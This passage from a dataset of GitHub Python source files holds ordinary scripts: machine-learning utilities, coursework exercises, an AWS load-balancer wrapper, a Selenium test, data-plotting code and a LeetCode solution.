components_distribution=component_dist)\n\n    rng, embed_rng = jax.random.split(rng)\n    next_tokens = mixture.sample(seed=embed_rng).reshape(*tokens.shape)\n    next_z = next_tokens[:, i]\n\n    if i < steps - 1:\n      tokens = jax.ops.index_update(tokens, jax.ops.index[:, i + 1], next_z)\n    else:\n      tokens = next_tokens  # remove start token\n\n  logging.info('Generated samples in %f seconds', time.time() - t0)\n  return tokens\n\n\ndef main(argv):\n  del argv  # unused\n\n  logging.info(FLAGS.flags_into_string())\n  logging.info('Platform: %s', jax.lib.xla_bridge.get_backend().platform)\n\n  # Make sure TensorFlow does not allocate GPU memory.\n  tf.config.experimental.set_visible_devices([], 'GPU')\n\n  log_dir = FLAGS.sampling_dir\n\n  pca = data_utils.load(os.path.expanduser(\n      FLAGS.pca_ckpt)) if FLAGS.pca_ckpt else None\n  slice_idx = data_utils.load(os.path.expanduser(\n      FLAGS.slice_ckpt)) if FLAGS.slice_ckpt else None\n  dim_weights = data_utils.load(os.path.expanduser(\n      FLAGS.dim_weights_ckpt)) if FLAGS.dim_weights_ckpt else None\n\n  train_ds, eval_ds = input_pipeline.get_dataset(\n      dataset=FLAGS.dataset,\n      data_shape=FLAGS.data_shape,\n      problem='vae',\n      batch_size=FLAGS.batch_size,\n      normalize=FLAGS.normalize,\n      pca_ckpt=FLAGS.pca_ckpt,\n      slice_ckpt=FLAGS.slice_ckpt,\n      dim_weights_ckpt=FLAGS.dim_weights_ckpt,\n      include_cardinality=False)\n  eval_min, eval_max = eval_ds.min, eval_ds.max\n  eval_ds = eval_ds.unbatch()\n  if FLAGS.sample_size is not None:\n    eval_ds = eval_ds.take(FLAGS.sample_size)\n  real = np.stack([ex for ex in tfds.as_numpy(eval_ds)])\n  shape = real[0].shape\n\n  # Generate samples\n  generated = sample(FLAGS.sample_size, shape[-2], shape[-1], FLAGS.sample_seed,\n                     real)\n\n  # Dump generated to CPU.\n  generated = np.array(generated)\n\n  # Write samples to disk (used for listening).\n  if FLAGS.flush:\n    # Inverse transform data back to listenable/unnormalized latent space.\n    generated_t = input_pipeline.inverse_data_transform(generated,\n                                                        FLAGS.normalize, pca,\n                                                        train_ds.min,\n                                                        train_ds.max, slice_idx,\n                                                        dim_weights)\n    real_t = input_pipeline.inverse_data_transform(real, FLAGS.normalize, pca,\n                                                   eval_min, eval_max,\n                                                   slice_idx, dim_weights)\n    data_utils.save(real_t, os.path.join(log_dir, 'mdn/real.pkl'))\n    data_utils.save(generated_t, os.path.join(log_dir, 'mdn/generated.pkl'))\n\n\nif __name__ == '__main__':\n  app.run(main)\n","repo_name":"magenta/symbolic-music-diffusion","sub_path":"sample_mdn.py","file_name":"sample_mdn.py","file_ext":"py","file_size_in_byte":5708,"program_lang":"python","lang":"en","doc_type":"code","stars":177,"dataset":"github-code","pt":"60"}
+{"seq_id":"70782015550","text":"month = input()\r\novernight_count = int(input())\r\n\r\n# Normal prices for 1 overnight\r\nprice_apartment = 0\r\nprice_studio = 0\r\n# The amount of the discount. If price is 50 and discount is 20%, the new value will be 10lv off -> 50 *0.2 = 10lv\r\nbonus_apartment = 0\r\nbonus_studio = 0\r\n\r\nif month == 'May' or month == 'October':\r\n    price_apartment = 65\r\n    price_studio = 50\r\n    if overnight_count > 14:\r\n        bonus_studio = price_studio * 0.3\r\n    elif 7 < overnight_count <= 13:\r\n        bonus_studio = price_studio * 0.05\r\nelif month == 'June' or month == 'September':\r\n    price_apartment = 68.7\r\n    price_studio = 75.2\r\n    if overnight_count > 14:\r\n        bonus_studio = price_studio * 0.2\r\nelif month == 'July' or month == 'August':\r\n    price_apartment = 77\r\n    price_studio = 76\r\n\r\nif overnight_count > 14:\r\n    bonus_apartment = price_apartment * 0.1\r\n\r\nprice_apartment_total = price_apartment - bonus_apartment\r\nprice_apartment_total *= overnight_count\r\nprice_studio_total = price_studio - bonus_studio\r\nprice_studio_total *= overnight_count\r\n\r\nprint(f'Apartment: {price_apartment_total:.2f} lv.')\r\nprint(f'Studio: {price_studio_total:.2f} lv.')","repo_name":"S7lkr/Python_Basics_April_2022","sub_path":"Conditional statements advanced - Exercise 01.05.2022/hotel_room.py","file_name":"hotel_room.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"557165037","text":"from .binary import BinaryModelWithShareParams as BinaryModel\nfrom beastling.util import xml\n\n\nclass BinaryCTMCModel(BinaryModel):\n    def __init__(self, model_config, global_config):\n        BinaryModel.__init__(self, model_config, global_config)\n        self.subst_model_id = None\n\n    def get_userdatatype(self, feature, fname):\n        if not self.beastxml._binary_userdatatype_created:\n            self.beastxml._binary_userdatatype_created = True\n            return xml.userDataType(None, id=\"BinaryDatatype\", spec=\"beast.evolution.datatype.Binary\")\n        return xml.userDataType(None, idref=\"BinaryDatatype\")\n\n    def add_substmodel(self, sitemodel, feature, fname):\n        # If we're sharing one substmodel across all features and have already\n        # created it, just reference it and that's it\n        if self.subst_model_id:\n            sitemodel.set(\"substModel\", \"@%s\" % self.subst_model_id)\n            return\n\n        # Otherwise, create a substmodel\n        name = self.name if self.share_params else fname\n        subst_model_id = \"binaryCTMC.s:%s\" % name\n        if self.share_params:\n            self.subst_model_id = subst_model_id\n        substmodel = xml.substModel(sitemodel, id=subst_model_id, spec=\"GeneralSubstitutionModel\")\n        xml.parameter(\n            substmodel,\n            text=\"1.0 1.0\",\n            id=\"rates.s:%s\" % name,\n            dimension=2,\n            estimate=\"false\",\n            name=\"rates\")\n\n        if self.frequencies == \"estimate\":\n            xml.frequencies(\n                substmodel,\n                id=\"estimatedFrequencies.s:%s\" % name,\n                spec=\"Frequencies\",\n                frequencies=\"@freqs_param.s:%s\" % name)\n        elif self.frequencies == \"empirical\":\n            attribs = {\"id\": \"empiricalFrequencies.s:%s\" % name, \"spec\": \"Frequencies\"}\n            if self.share_params:\n                if self.single_sitemodel:\n                    attribs[\"data\"] = \"@filtered_data_%s\" % name\n                else:\n                    attribs[\"frequencies\"] = self.build_freq_str()\n            else:\n                attribs[\"data\"] = \"@feature_data_%s\" % name\n            xml.frequencies(substmodel, attrib=attribs)\n        elif self.frequencies == \"uniform\":\n            xml.frequencies(\n                substmodel,\n                text=\"0.5 0.5\",\n                id=\"frequencies.s:%s\" % name,\n                dimension=\"2\",\n                spec=\"parameter.RealParameter\")\n","repo_name":"lmaurits/BEASTling","sub_path":"beastling/models/binaryctmc.py","file_name":"binaryctmc.py","file_ext":"py","file_size_in_byte":2452,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"60"}
+{"seq_id":"8027572265","text":"\nimport csv\nimport time\n\n\n# Initialize an empty list to store the combined strings\n\n# Specify the CSV file path\ncsv_file_path = '5m Sales Records.csv'  \n\n\ncolumn1_name = 'Item Type'  \ncolumn2_name = 'Order ID'  \ncolumn3_name = 'Units Sold'\n\nprint(\"reading transform_data file\")\n\ndef readCSV():\n    combined_strings = []\n\n    start_time = time.time()\n    # Open the CSV file for reading\n    with open(csv_file_path, mode='r', newline='') as file:\n        # Create a CSV reader\n        csv_reader = csv.DictReader(file)\n        count = 0\n        \n        # Iterate through each row in the CSV file\n        for row in csv_reader:\n            # Fetch the values from the specified columns\n            value1 = row[column1_name]\n            value2 = row[column2_name]\n            value3 = row[column3_name]\n            count += 1\n            if count == 1000000:\n                break\n\n            \n            # Combine the values into a single string\n            combined_string = f'{value1}_{value2}' \n            \n            # Append the combined string to the list\n            combined_strings.append([combined_string, 5])\n    end_time = time.time()\n    print(\"Total time take -> \", end_time - start_time)\n    print(len(combined_strings))\n    return combined_strings\n\n\n\n\n","repo_name":"NeerajPrakash14/SearchFellow","sub_path":"main/transform_data.py","file_name":"transform_data.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20893411772","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nUse this file for your answers. \n\nThis file should been in the root of the repository \n(do not move it or change the file name) \n\n\"\"\"\n\nimport numpy as np\n\ndef lml(alpha, beta, Phi, Y):\n    \"\"\"\n    4 marks\n\n    :param alpha: float\n    :param beta: float\n    :param Phi: array of shape (N, M)\n    :param Y: array of shape (N, 1)\n    :return: the log marginal likelihood, a scalar\n    \"\"\"\n    N = Phi.shape[0]\n    mat =  alpha * np.dot(Phi, Phi.T) + beta * np.eye(N)\n    inv = np.linalg.inv(mat)\n    det = np.linalg.det(mat)\n    return -N * 0.5 * np.log(2*np.pi) - 0.5 * np.log(det) - 0.5 * np.dot(Y[:,0], np.dot(inv, Y[:,0]))\n    \n\ndef grad_lml(alpha, beta, Phi, Y):\n    \"\"\"\n    8 marks (4 for each component)\n\n    :param alpha: float\n    :param beta: float\n    :param Phi: array of shape (N, M)\n    :param Y: array of shape (N, 1)\n    :return: array of shape (2,). The components of this array are the gradients\n    (d_lml_d_alpha, d_lml_d_beta), the gradients of lml with respect to alpha and beta respectively.\n    \"\"\"\n    N = Phi.shape[0]\n    #epsilon = 10**-12\n    #gradient_a = (lml(alpha+epsilon, beta, Phi, Y) - lml(alpha-epsilon,beta,Phi,Y))/ epsilon * 0.5\n    #gradient_b = (lml(alpha, beta+epsilon, Phi, Y) - lml(alpha, beta-epsilon, Phi, Y))/ epsilon * 0.5\n    #return np.array([gradient_a, gradient_b])\n    PPt = np.dot(Phi, Phi.T)\n    X = alpha * PPt + beta * np.eye(N)\n    inv = np.linalg.inv(X)\n    gradient_a = -0.5 * np.trace(np.dot(inv, PPt)) + 0.5 * np.dot(Y[:,0], np.dot(inv, np.dot(inv, np.dot(PPt, Y[:,0]))))\n    gradient_b = -0.5 * np.trace(inv) + 0.5 * np.dot(Y[:,0], np.dot(inv, np.dot(inv, Y[:,0])))\n    return np.array([gradient_a, gradient_b])\n","repo_name":"chengyiz/Maths-in-Machine-Learning","sub_path":"Bayesian-Regression/496-bayesian-regression_cz5818/answers.py","file_name":"answers.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29540336009","text":"import time\n\nclass ElbInServiceTimeoutException(Exception):\n\tdef __init__(self, elb, instances, timeout):\n\t\tsuper(ElbInServiceTimeoutException, self).__init__(\"Waited more than \"+str(timeout)+\" seconds for instances \"+str(instances)+\"to become in service for load balancer \"+elb)\n\nclass ELB:\n\tdef __init__(self, client):\n\t\tself.client = client\n\n\tdef balancers(self, region=None, profile=None):\n\t\targs = ['describe-load-balancers']\n\t\targs = self.prepare_args(args, region, profile)\n\t\tres = self.client.execute(args, region=region, profile=profile)\n\t\treturn res['LoadBalancerDescriptions']\n\n\tdef balancers_by(self, key, val, region=None, profile=None):\n\t\tbalancers = self.balancers(region=region, profile=profile)\n\t\treturn [i for i in balancers if i[key]==val]\t\t\n\n\tdef balancer_by_name(self, name, region=None, profile=None):\n\t\tbalancers = self.balancers_by('LoadBalancerName', name, region=region, profile=profile)\n\t\treturn balancers[0] if len(balancers) else None\n\n\tdef health(self, name, region=None, profile=None):\n\t\targs = ['describe-instance-health','--load-balancer-name',name]\n\t\targs = self.prepare_args(args, region, profile)\n\t\tres = self.client.execute(args, region=region, profile=profile)\n\t\treturn res['InstanceStates']\n\n\tdef register_instances(self, elb_name, instances, wait_for_service=None, wait_timeout=600, throw_on_timeout=True, region=None, profile=None):\n\t\tif not isinstance(instances, list):\n\t\t\tinstances = [instances]\n\t\targs = ['register-instances-with-load-balancer','--load-balancer-name',elb_name,'--instances']\n\t\tinstances = [i for i in instances if isinstance(i,str)]+[i['InstanceId'] for i in instances if isinstance(i,dict) and 'InstanceId' in i]\n\t\targs+=instances\n\t\targs = self.prepare_args(args, region, profile)\n\t\tres = self.client.execute(args, region=region, profile=profile)\n\t\t_instances = res['Instances']\n\t\tif wait_for_service is not None and wait_for_service!=False:\n\t\t\twait_for_service = len(instances) if not isinstance(wait_for_service, int) else wait_for_service\n\t\t\treturn self.wait_for_service(elb_name, instances, wait_for_service, wait_timeout, throw_on_timeout)\n\t\treturn _instances\n\n\tdef deregister_instances(self, elb_name, instances, region=None, profile=None):\n\t\tif not isinstance(instances, list):\n\t\t\tinstances = [instances]\n\t\targs = ['deregister-instances-from-load-balancer','--load-balancer-name',elb_name,'--instances']\n\t\tinstances = [i for i in instances if isinstance(i,str)]+[i['InstanceId'] for i in instances if isinstance(i,dict) and 'InstanceId' in i]\n\t\targs+=instances\n\t\targs = self.prepare_args(args, region, profile)\n\t\tres = self.client.execute(args, region=region, profile=profile)\n\t\treturn res['Instances']\n\n\tdef wait_for_service(self, elb_name, instance_ids, num, timeout, throw):\n\t\tthen = time.time()\n\t\tready = False\n\t\twhile not ready:\n\t\t\tnow = time.time()\n\t\t\tinstances = self.health(elb_name)\n\t\t\tinstances_in_service = [i for i in instances if i['InstanceId'] in instance_ids and i['State']=='InService']\n\t\t\tif len(instances_in_service) >= num:\n\t\t\t\tready = True\n\t\t\telif now-then>timeout:\n\t\t\t\tif throw:\n\t\t\t\t\traise ElbInServiceTimeoutException(elb_name, instance_ids, timeout)\n\t\t\t\telse:\n\t\t\t\t\tbreak\n\t\t\ttime.sleep(5)\n\t\treturn instances_in_service\t\n\n\tdef instances_by_keyname(self, keyname, region=None, profile=None):\n\t\tinstances = self.instances(region=region, profile=profile)\n\t\treturn [i for i in instances if i['KeyName']==keyname]\n\n\tdef instances_by_name(self, name, region=None, profile=None):\n\t\treturn self.instances_by_tags([('Name', name)])\n\n\tdef instance_matches_tags(self, instance, tags):\n\t\tif 'Tags' not in instance:\n\t\t\treturn False\n\t\tfor t in tags:\n\t\t\tkey = t[0]\n\t\t\tval = t[1]\n\t\t\tfor t in instance['Tags']:\n\t\t\t\tif 'Key' in t and t['Key']==key and 'Value' in t and t['Value']==val:\t\t\t\t\treturn True\n\t\treturn False\n\n\tdef prepare_args(self, args, region, profile):\n\t\targs = ['elb'] + args\n\t\tif region is not None:\n\t\t\targs = args + ['--region', region]\n\t\tif profile is not None:\n\t\t\targs = args + ['--profile', profile]\n\t\treturn args","repo_name":"Pacopag/pyawscli","sub_path":"pyawscli/elb.py","file_name":"elb.py","file_ext":"py","file_size_in_byte":4005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19765099350","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Oct 26 09:38:32 2018\r\n\r\n@author: ldk\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom tensorflow.keras.preprocessing.text import Tokenizer\r\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\r\nfrom tensorflow.keras.utils import to_categorical\r\nimport pandas as pd\r\n\r\ndef read_data(train_file,VAC_DIR,MAX_SEQUENCE_LENGTH):\r\n\r\n#    MAX_SEQUENCE_LENGTH = 1200  # 每个文本或者句子的截断长度，只保留1000个单词\r\n    MAX_NUM_WORDS = 20000  # 用于构建词向量的词汇表数量\r\n    EMBEDDING_DIM = 100  # 词向量维度\r\n    VALIDATION_SPLIT = 0.3\r\n     \r\n    \r\n    # 构建词向量索引\r\n    print(\"Indexing word vectors.\")\r\n    embeddings_index = {}\r\n    with open(VAC_DIR, encoding=\"utf-8\") as f:\r\n        for line in f:\r\n            values = line.split()\r\n            word = values[0]  # 单词\r\n            coefs = np.asarray(values[1:], dtype='float32')  # 单词对应的向量\r\n            embeddings_index[word] = coefs  # 单词及对应的向量\r\n     \r\n    print('Found %s word vectors.'%len(embeddings_index))#400000个单词和词向量\r\n     \r\n    print('预处理文本数据集')\r\n    texts = []  # 训练文本样本的list\r\n    labels = []  # 标签list\r\n     \r\n    #读取训练数\r\n    data = pd.read_csv(train_file)\r\n    \r\n    texts = data['Item'].tolist()\r\n    labels = data['Tag'].replace('non-LN',0).replace('LN',1).tolist()\r\n     \r\n    print(\"Found %s texts %s label_id.\" % (len(texts), len(labels)))  # 19997个文本文件\r\n     \r\n    # 向量化文本样本\r\n    tokenizer = Tokenizer(num_words=MAX_NUM_WORDS)\r\n    # fit_on_text(texts) 使用一系列文档来生成token词典，texts为list类，每个元素为一个文档。就是对文本单词进行去重后\r\n    tokenizer.fit_on_texts(texts)\r\n    # texts_to_sequences(texts) 将多个文档转换为word在词典中索引的向量形式,shape为[len(texts)，len(text)] -- (文档数，每条文档的长度)\r\n    sequences = tokenizer.texts_to_sequences(texts)\r\n    print(sequences[0])\r\n    print(len(sequences))  # 19997\r\n     \r\n    word_index = tokenizer.word_index  # word_index 一个dict，保存所有word对应的编号id，从1开始\r\n    print(\"Founnd %s unique tokens.\" % len(word_index))  # 174074个单词\r\n    # ['the', 'to', 'of', 'a', 'and', 'in', 'i', 'is', 'that', \"'ax\"] [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n    print(list(word_index.keys())[0:10], list(word_index.values())[0:10])  #\r\n     \r\n    \r\n    ######非常好用的函数，直接用\r\n    data = pad_sequences(sequences, maxlen=MAX_SEQUENCE_LENGTH)  # 长度超过MAX_SEQUENCE_LENGTH则截断，不足则补0\r\n     \r\n    labels = to_categorical(np.asarray(labels))\r\n    print(\"训练数据大小为：\", data.shape)  # (19997, 1000)\r\n    print(\"标签大小为:\", labels.shape)  # (19997, 20)\r\n     \r\n    # 将训练数据划分为训练集和验证集\r\n    indices = np.arange(data.shape[0])\r\n    np.random.shuffle(indices)  # 打乱数据\r\n    data = data[indices]\r\n    labels = labels[indices]\r\n     \r\n    num_validation_samples = int(VALIDATION_SPLIT * data.shape[0])\r\n     \r\n    # 训练数据\r\n    x_train = data[:-num_validation_samples]\r\n    y_train = labels[:-num_validation_samples]\r\n     \r\n    # 验证数据\r\n    x_val = data[-num_validation_samples:]\r\n    y_val = labels[-num_validation_samples:]\r\n     \r\n    # 准备词向量矩阵\r\n    num_words = min(MAX_NUM_WORDS, len(word_index) + 1)  # 词汇表数量\r\n    embedding_matrix = np.zeros((num_words, EMBEDDING_DIM))  # 20000*100\r\n     \r\n    for word, i in word_index.items():\r\n        if i >= MAX_NUM_WORDS:  # 过滤掉根据频数排序后排20000以后的词\r\n            continue\r\n        embedding_vector = embeddings_index.get(word)  # 根据词向量字典获取该单词对应的词向量\r\n        if embedding_vector is not None:\r\n            embedding_matrix[i] = embedding_vector\r\n            \r\n    return x_train,y_train,x_val,y_val,num_words,embedding_matrix","repo_name":"mishidemudong/sle_ln_model","sub_path":"readFunc.py","file_name":"readFunc.py","file_ext":"py","file_size_in_byte":3963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19143706657","text":"import random\nimport numpy as np\nfrom sklearn.metrics import log_loss\n\n\ndef sigmoid(x):\n    return 1 / (1 + np.exp(-x))\n\ndef sigmoid_dx(x):\n    return x * (1 - x)\n\nclass NeuralNetwork:\n    def __init__(self, noHiddenLayers, dimHiddenLayers, noIter):\n        self.noHiddenLayers = noHiddenLayers\n        self.dimHiddenLayers = dimHiddenLayers\n        self.noIter = noIter\n        self.coefs = []\n\n    def fit(self, inputs, outputs, alpha):\n        # coefs = [[[w0, w3, w6, w9], [w1, w4, w7, w10], ...], [coeficientii dintre hiddenLayer1 si\n        # hiddenLayer2 sub forma [w care intra in primul neuron], [w care intra in al doilea neuron]],\n        # ..., [coeficientii dintre hiddenLayern si output]]\n\n        # adaugare coeficienti dintre input si hiddenLayer1\n        w_inputs = []\n        for _ in range(self.dimHiddenLayers):\n            w_inputs.append([random.random() for _ in range(len(inputs[0]))])\n\n        self.coefs.append(w_inputs)\n        # adaugare coeficienti dintre hiddenLayers\n        for _ in range(self.noHiddenLayers - 1):\n            w = []\n            for _ in range(self.dimHiddenLayers):\n                w.append([random.random() for _ in range(self.dimHiddenLayers)])\n            self.coefs.append(w)\n\n\n        # adaugare coeficienti dintre ultimul hiddenLayer si output\n        w_outputs = []\n        for _ in range(len(set(outputs))):\n            w_outputs.append([random.random() for _ in range(self.dimHiddenLayers)])\n\n        self.coefs.append(w_outputs)\n\n        for i in range(self.noIter):\n            print('Iteration ' + str(i) + '.............')\n            computed = []\n            probs = []\n            for input_idx in range(len(inputs)):\n                # forward feed\n                neurons_inputs = []\n                neurons_outputs = []\n                x = inputs[input_idx]\n                # print('Input layer :')\n                # print(x)\n                for no_layer in range(len(self.coefs)):\n                    # pentru fiecare layer iau input-ul pe care il primeste (x) si calculez\n                    # output-ul fiecarui neuron, dupa care il adaug in lista (x) pentru a fi\n                    # input pentru urmatorul strat de neuroni\n                    # print('Layer no. ' + str(no_layer + 1))\n                    '''\n                    Clarificare:\n                        - neurons_outputs = output-urile date de fiecare strat de neuroni\n                         = [[outNhidd1, outNhidd2, outNhidd3, outNhidd4], [outNout1, outNout2]]\n                         pentru a putea folosi asta la back-propagation se adauga si input-ul la inceputul\n                         listei\n                         - output-error: eroarea pe stratul de output\n                         = [errOut1, errOut2, ...]\n                         - errors: erorile pentru straturile ascunse si stratul de inceput\n                         = [[errIn1, errIn2, ...], [errHidd1, errHidd2, ...], ...]\n                    '''\n\n                    neurons_inputs.append(x)\n                    out = []\n                    for no_w in range(len(self.coefs[no_layer])):\n                        value = 0.0\n                        for w_idx in range(len(self.coefs[no_layer][no_w])):\n                            value += x[w_idx] * self.coefs[no_layer][no_w][w_idx]\n                        out.append(sigmoid(value))\n                    x = out\n                    neurons_outputs.append(x)\n                    # print(x)\n\n                # acum x-ul este ce scoate layer-ul de output si se face un softmax\n                output_sum = sum(x)\n                x = [nr / output_sum for nr in x]\n                neurons_outputs.remove(neurons_outputs[-1])\n                neurons_outputs.append(x)\n                # all_outputs.append(neurons_outputs)\n                    # print(x)\n\n\n                neurons_outputs.insert(0, inputs[input_idx])\n                #print(neurons_outputs)\n\n                # back propagation\n                # eroare corespunzatoare stratului de iesire\n                output_error = []\n                for out_idx in range(len(neurons_outputs[-1])):\n                    output_error.append((outputs[input_idx] - neurons_outputs[-1][out_idx]) * sigmoid_dx(neurons_outputs[-1][out_idx]))\n                # print(output_error)\n\n                errors = []\n                # erorile pentru straturile ascunse\n                for back_idx in range(self.noHiddenLayers, 0, -1):\n                    # print(back_idx)\n                    err = []    # eroarea pentru stratul curent\n                    for n in range(self.dimHiddenLayers):\n                        current_err = 0.0\n                        for outErr_idx in range(len(output_error)):\n                            current_err += self.coefs[back_idx][outErr_idx][n] * output_error[outErr_idx]\n                        err.append(current_err)\n\n                    errors.append(err)\n\n                errors.append(output_error)\n                # print(errors)\n\n                #actualizarea coeficientilor\n                for coef_idx in range(len(self.coefs)):\n                    for w_idx in range(len(self.coefs[coef_idx])):\n                        for n_idx in range(len(self.coefs[coef_idx][w_idx])):\n                            self.coefs[coef_idx][w_idx][n_idx] += alpha * errors[coef_idx][w_idx] * neurons_inputs[coef_idx][w_idx]\n\n                #print(self.coefs)\n\n                probs.append(x)\n                if(x[0] > x[1]):\n                    computed.append(0)\n                else:\n                    computed.append(1)\n\n            print(\"Loss: \" + str(log_loss(outputs, probs)))\n\n\n    def predict(self, inputs):\n        computed = []\n        for input_idx in range(len(inputs)):\n            x = inputs[input_idx]\n            for no_layer in range(len(self.coefs)):\n                out = []\n                for no_w in range(len(self.coefs[no_layer])):\n                    value = 0.0\n                    for w_idx in range(len(self.coefs[no_layer][no_w])):\n                        value += x[w_idx] * self.coefs[no_layer][no_w][w_idx]\n                    out.append(sigmoid(value))\n                x = out\n\n                # acum x-ul este ce scoate layer-ul de output si se face un softmax\n            output_sum = sum(x)\n            x = [nr / output_sum for nr in x]\n            computed.append(0 if x[0] > x[1] else 1)\n\n        return computed","repo_name":"dariamarc/AI","sub_path":"Emotions/service/myANN.py","file_name":"myANN.py","file_ext":"py","file_size_in_byte":6380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74251087551","text":"#!/usr/bin/python\n# using this to get Hmtvar annotations\n\nimport csv\nimport decimal\nimport json\nimport sys\nimport urllib\n\n\ndef hmtvar():\n    \"\"\"Retrieve annotations for every possible mtDNA SNV from the HmtVar database via API.\"\"\"\n    with open(\"../synthetic_vcf/NC_012920.1_synthetic_vep.vcf\") as vcf:\n        vcf = csv.reader(vcf, delimiter=\"\\t\")\n\n        f = open(\"hmtvar_annotations.txt\", \"w\")\n        header = \"POS\tREF\tALT\tHmtVar\"\n        f.write(header + \"\\n\")\n\n        for row in vcf:\n            if not row[0].startswith(\"#\"):\n                pos = row[1]\n                ref = row[3]\n                alt = row[4]\n                variant = ref + pos + alt\n\n                url = \"https://www.hmtvar.uniba.it/api/main/mutation/\" + variant\n\n                output = urllib.urlopen(url)\n                annotation = output.read()\n\n                f.write(\n                    str(pos)\n                    + \"\\t\"\n                    + str(ref)\n                    + \"\\t\"\n                    + str(alt)\n                    + \"\\t\"\n                    + str(annotation)\n                )\n\n        f.close()\n\n\nif __name__ == \"__main__\":\n    print(\"getting HmtVar annotations!\")\n    hmtvar()\n","repo_name":"broadinstitute/gnomad-mitochondria","sub_path":"gnomad_mitochondria/manuscript_analyses/final_data_files/insilicos/get_hmtvar.py","file_name":"get_hmtvar.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"60"}
+{"seq_id":"25586159742","text":"from flask_migrate import Migrate, MigrateCommand\nfrom flask_script import Manager\n\nfrom main.server import app, db, models\n\nmigrate = Migrate(app, db)\nmanager = Manager(app)\n\nmanager.add_command('db', MigrateCommand)\n\n\n@manager.command\ndef test():\n    return 1\n\n\n@manager.command\ndef create_db():\n    \"\"\"Create database table\"\"\"\n    db.create_all()\n\n\n@manager.command\ndef drop_db():\n    \"\"\"Drop all the database tables\"\"\"\n    db.drop_all()\n\n\nif __name__ == '__main__':\n    manager.run()\n","repo_name":"AreYouW/mano-aloe","sub_path":"backend/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"60"}
+{"seq_id":"29654448656","text":"import shelve\nfrom time import sleep\n\nimport pytest\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\n\nclass TestWorkweixin():\n    def setup_method(self, method):\n        # 复用浏览器\n        # option = Options()\n        # option.debugger_address = \"localhost:9222\"\n        # self.driver = webdriver.Chrome(options=option)\n        self.driver = webdriver.Chrome()\n        # 隐式等待\n        self.driver.implicitly_wait(5)\n\n    def teardown_method(self, method):\n        self.driver.quit()\n\n    def test_contact(self):\n        sleep(3)\n        self.driver.get(\"https://work.weixin.qq.com/wework_admin/frame#index\")\n        self.driver.find_element(By.ID, \"menu_contacts\").click()\n        # 断言\n        myclass = self.driver.find_element(By.ID, \"menu_contacts\").get_attribute(\"class\")\n        # print(\"myclass\")\n        assert 'frame_nav_item frame_nav_item_Curr' == myclass\n\n    def test_cookies(self):\n        sleep(3)\n        cookies = self.driver.get_cookies()\n        print(cookies)\n","repo_name":"Zhaohb1526/ZHB_python","sub_path":"test_selenium/test_getcookies.py","file_name":"test_getcookies.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28492102257","text":"import xmltodict\nimport matplotlib.pyplot as plt\n\nwith open('./places.xml') as fd:\n    doc = xmltodict.parse(fd.read())\n\nj = 0\nfor item in doc['places']['place']:\n    X = float(item['location']['x'])\n    Y = float(item['location']['y'])\n    if X < -80 and Y > 0:\n        plt.scatter(X, Y, c='G',s = 2)\n    j += 1\n    if j > 9000:\n        break\nplt.title('Gasolineras en Mexico')\nplt.show()","repo_name":"luiscornejo96/Python","sub_path":"gasolineras.py","file_name":"gasolineras.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17435876700","text":"# 这道题需要我们先用nested for loop找到其中一个小岛的一片地方，之后用DFS从这一个地方开始\n# 找到所有属于这个岛的地方，这里我们在DFS的过程中还把这个岛的地方的值都换成-1\n# 并且把所有属于这个岛的位置的坐标都存到firstIsland这个list里\nclass Solution:\n    def shortestBridge(self, A):\n        directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]\n        stack = []\n        firstIsland = []\n        n = len(A)\n        m = len(A[0])\n        for row in range(0, n):\n            for col in range(0, m):\n                if A[row][col] == 1:\n                    A[row][col] = -1\n                    stack.append((row, col))\n                    firstIsland.append((row, col))\n                    break\n            # 以下这三行是用来让17行的break能直接break出两层nested for loop的，这个写法是python的定式，要记住\n            else:\n                continue\n            break\n\n        # 找到所有属于这个岛的地方，这里我们在DFS的过程中还把这个岛的地方的值都换成-1\n        # 并且把所有属于这个岛的位置的坐标都存到firstIsland这个list里\n        while stack:\n            r, c = stack.pop()\n            for d in directions:\n                newR = r + d[0]\n                newC = c + d[1]\n                if newR < 0 or newR >= n or newC < 0 or newC >= m:\n                    continue\n                if A[newR][newC] == 1:\n                    stack.append((newR, newC))\n                    firstIsland.append((newR, newC))\n                    A[newR][newC] = -1\n        # 把第一个岛上的所有位置都放一个queue里，这个queue里的每个element是一个tuple\n        # tuple的第一个element还是一个tuple，即坐标，第二个element是这个位置相对于第一个岛的层数\n        # 对于本身就在第一个岛里的位置，我们认为层数是0\n        # 我们以整个第一个岛上的所有位置作为queue的起始内容，那么在之后的某一个时刻，这些起始内容会被\n        # 都pop出去了，之后queue里剩下的全是level是1的位置，即岛周围的一圈位置\n        # 再之后的某一个时刻，queue里剩下的会全是level是2的位置，以此类推，直到queue里的一个位置碰到了第二个岛为止\n        queue = []\n        for pos in firstIsland:\n            queue.insert(0, (pos, 0))\n        while queue:\n            (r, c), level = 